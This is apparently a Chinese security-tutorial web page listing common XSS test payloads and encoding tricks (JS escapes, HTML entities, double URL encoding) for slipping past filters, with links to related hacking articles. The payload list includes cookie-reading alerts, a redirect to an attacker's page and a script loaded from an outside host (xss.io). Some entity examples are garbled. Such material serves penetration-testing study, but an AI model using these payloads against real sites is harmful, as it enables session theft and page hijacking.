Web網(wǎng)絡(luò)安全漏洞分析XSS常用語句及編碼繞過詳解
XSS進階
XSS常用語句及編碼繞過
XSS常用的測試語句
<img src=1 alert(1)> （顯示1）
<script>alert("xss")</script> (顯示xss)
<script>alert(document.cookie)</script> (顯示cookie）
<script>window.location="（你的黑頁地址）";</script>
<img src="javascript:alert('XSS')">
<script>alert(document.cookie)</script>
<script>alert(document.cookie)</script>
"+alert('XSS')+"
<script src="http://xss.io/a.js"></script>
<div onclick="alert('xss')">
<div onmouseenter="alert('xss')">
"onclick="alert(document.cookie)
常見的XSS的繞過編碼有JS編碼、HTML實體編碼和URL編碼。
JS編碼
JS提供了四種字符編碼的策略，如下所示。
三個八進制數(shù)字，如果個數(shù)不夠，在前面補0，例如“e”的編碼為“\145”。
兩個十六進制數(shù)字，如果個數(shù)不夠，在前面補0，例如“e”的編碼為“\x65”。
四個十六進制數(shù)字，如果個數(shù)不夠，在前面補0，例如“e”的編碼為“\u0065”。
對于一些控制字符，使用特殊的C類型的轉(zhuǎn)移風(fēng)格（例如\n和\r）。
HTML實體編碼
命名實體：以&開頭，以分號結(jié)尾的，例如“<”的編碼是“<”。
字符編碼：十進制、十六進制ASCII碼或Unicode字符編碼，樣式為“&#數(shù)值;”，例如“<”可以編碼為“<”和“<”。
URL編碼
這里的URL編碼，也是兩次URL全編碼的結(jié)果。如果alert被過濾，結(jié)果為%25%36%31%25%36%63%25%36%35%25%37%32%25%37%34。
在使用XXS編碼測試時，需要考慮HTML渲染的順序，特別是針對多種編碼組合時，要選擇合適的編碼方式進行測試。
以上就是Web網(wǎng)絡(luò)安全漏洞分析XSS常用語句及編碼繞過詳解的內(nèi)容，更多關(guān)于Web網(wǎng)絡(luò)安全漏洞的資料請關(guān)注腳本之家其它相關(guān)文章！
相關(guān)文章
本文講解了SQL注入的原理、特點、危害，SQL注入的攻擊手法和MySQL注入的常用函數(shù)，講解相關(guān)工具，如何去防御SQL注入，帶大家了解了解SQL注入相關(guān)概念，掌握SQL注入攻擊手法，了解SQL注入相關(guān)工具和防御方法2021-09-09
突破神奇的Cloudflare防火墻的網(wǎng)絡(luò)安全學(xué)習(xí)
這篇文章主要為大家介紹了突破神奇的Cloudflare防火墻的網(wǎng)絡(luò)安全學(xué)習(xí)，有需要的朋友可以借鑒參考下，希望能夠有所幫助，祝大家多多進步，早日升職加薪2022-07-07
這篇文章主要為大家介紹了ChatGPT在信息安全中的應(yīng)用淺析，有需要的朋友可以借鑒參考下，希望能夠有所幫助，祝大家多多進步，早日升職加薪2023-02-02
Web網(wǎng)絡(luò)安全分析Union注入攻擊原理詳解
這篇文章主要為大家介紹了Web網(wǎng)絡(luò)安全中分析Union注入攻擊原理詳解，有需要的朋友可以借鑒學(xué)習(xí)下，希望能夠有所幫助，祝大家多多進步早日升職加薪2021-11-11
網(wǎng)絡(luò)安全中流量加密實現(xiàn)工具冰蝎4.0介紹
冰蝎是一個動態(tài)二進制加密網(wǎng)站管理客戶端。在實戰(zhàn)中，第一代webshell管理工具"菜刀"的流量特征非常明顯，很容易就被安全設(shè)備檢測到?；诹髁考用艿膚ebshell變得越來越多，"冰蝎"在此應(yīng)運而生2022-09-09
解讀什么是防火墻...2007-02-02
防止adsl用戶被入侵的一些技巧與設(shè)置方法...2007-03-03
防止絕大部份網(wǎng)頁病毒的經(jīng)典方法...2007-02-02
Web網(wǎng)絡(luò)安全解析cookie注入攻擊原理
這篇文章主要為大家介紹了Web網(wǎng)絡(luò)安全分析cookie注入攻擊原理詳解，有需要的朋友可以借鑒參考下，希望能夠有所幫助，祝大家多多進步2021-11-11
這篇文章主要介紹了常見的反爬蟲urllib技術(shù)分享，有需要的朋友可以借鑒參考下，希望能夠有所幫助，祝大家多多進步，早日升職加薪2022-04-04